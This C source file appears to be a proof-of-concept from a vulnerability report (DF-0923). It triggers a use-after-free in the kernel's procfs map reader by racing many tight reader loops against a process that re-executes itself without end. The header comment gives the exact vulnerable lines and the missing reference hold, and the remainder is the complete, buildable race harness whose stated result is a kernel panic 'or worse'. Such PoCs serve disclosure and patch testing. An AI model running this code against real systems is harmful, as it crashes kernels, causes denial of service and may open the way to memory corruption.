DF-0923 / race_map.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 | /* * race_map.c - DF-0923 PoC: race /proc/<pid>/map reads against the target * process's rapid execve() to trigger a use-after-free of the * vm_map (and vm_map_backing) cached in procfs_domap(). * * Vulnerability (confirmed in sys/vfs/procfs/procfs_map.c): * - line 65: vm_map_t map = &p->p_vmspace->vm_map; // NO vmspace_hold() * - line 86: vm_map_lock_read(map); // lockmgr shared * - line 87: lwkt_reltoken(&p->p_token); // proc token GONE * - line 142: last_timestamp = map->timestamp; * - line 143: vm_map_unlock(map); // *** DROP per iter *** * - lines 175-178, 216: ba->object dereferenced while UNLOCKED * - line 230: vm_map_lock_read(map); // *** re-lock STALE map *** * * A concurrent execve() on the target calls vmspace_exec() which does * vmspace_rel(oldvmspace) (sys/vm/vm_map.c:4330). With no hold/ref held * by procfs_domap, the old vmspace (and its embedded vm_map, including * map->lock) is freed. The reader's re-lock at line 230 then operates on * freed memory => UAF => panic (or worse). * * Compare to procfs_rwmem() in procfs_mem.c which correctly does * vmspace_hold(vm) at line 93 before caching map, and vmspace_drop(vm) * at line 160 after the loop. * * Modes: * ./race_map parent: orchestrate victim + readers * ./race_map --victim victim: tight execve() loop (re-exec self) * ./race_map --reader <pid> reader: tight read loop of /proc/<pid>/map * * Build: cc -O2 -o race_map race_map.c * Run: ./race_map [seconds] [nreaders] */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/stat.h> #include <unistd.h> #define MAPFMT "/proc/%d/map" /* Reader: hammer /proc/<victim>/map in a tight loop. Each read enters * procfs_domap and iterates the victim's map entries, dropping the lock * per entry (line 143) -- the race window. * * NOTE: a SMALL read buffer (4 KB) is used deliberately. procfs_domap * computes buflen = uio_offset + uio_resid and feeds it to sbuf_new(); a * large resid forces a large kmalloc per call which, under many parallel * readers, independently trips "sbuf: malloc limit exceeded" -- an * unrelated pre-existing issue that would mask the UAF we are trying to * observe. A 4 KB buffer still drives procfs_domap through every map * entry (every per-iteration unlock window), which is what the UAF race * needs; it just keeps the sbuf small. */ static void reader_loop(int victim_pid) { char path[64]; char buf[4096]; snprintf(path, sizeof path, MAPFMT, victim_pid); for (;;) { int fd = open(path, O_RDONLY); if (fd >= 0) { /* drain the whole map; each entry is one unlock window */ while (read(fd, buf, sizeof buf) > 0) ; close(fd); } /* no sleep -- tight loop maximizes collision probability */ } _exit(0); } /* Victim: re-exec self forever. Each execve() replaces p_vmspace via * vmspace_exec() and vmspace_rel()s the old one, freeing it (no other * holders in the procfs reader because procfs_domap forgets to hold). */ static void victim_loop(char *self) { char *args[] = { self, "--victim", NULL }; char *envp[] = { NULL }; for (;;) { execve(self, args, envp); /* execve should not fail; if it does, brief retry */ usleep(100); } _exit(1); } int main(int argc, char **argv) { int seconds = 30; int nreaders = 4; if (argc >= 2 && strcmp(argv[1], "--victim") == 0) { victim_loop(argv[0]); return 1; } if (argc >= 2 && strcmp(argv[1], "--reader") == 0) { if (argc < 3) { fprintf(stderr, "reader: need pid\n"); return 2; } reader_loop(atoi(argv[2])); return 0; } if (argc >= 2) seconds = atoi(argv[1]); if (argc >= 3) nreaders = atoi(argv[2]); if (seconds <= 0) seconds = 30; if (nreaders <= 0) nreaders = 4; /* Parent: spawn victim, then N readers, let them race for <seconds>. */ pid_t victim = fork(); if (victim < 0) { perror("fork"); return 1; } if (victim == 0) { execl(argv[0], "race_map", "--victim", (char *)NULL); _exit(127); } fprintf(stderr, "[parent] victim pid=%d, spawning %d readers, racing %ds\n", (int)victim, nreaders, seconds); pid_t *readers = calloc(nreaders, sizeof(pid_t)); for (int i = 0; i < nreaders; i++) { char pidstr[32]; snprintf(pidstr, sizeof pidstr, "%d", (int)victim); readers[i] = fork(); if (readers[i] < 0) { perror("fork reader"); nreaders = i; break; } if (readers[i] == 0) { execl(argv[0], "race_map", "--reader", pidstr, (char *)NULL); _exit(127); } } /* Let the race run. A panic kills the guest; on survival we just * tear down after the timer and report. */ sleep(seconds); fprintf(stderr, "[parent] survived %ds without panic; tearing down\n", seconds); kill(victim, SIGKILL); for (int i = 0; i < nreaders; i++) kill(readers[i], SIGKILL); int status; waitpid(victim, &status, 0); for (int i = 0; i < nreaders; i++) waitpid(readers[i], &status, 0); free(readers); fprintf(stderr, "[parent] done (no panic observed this run)\n"); return 0; } |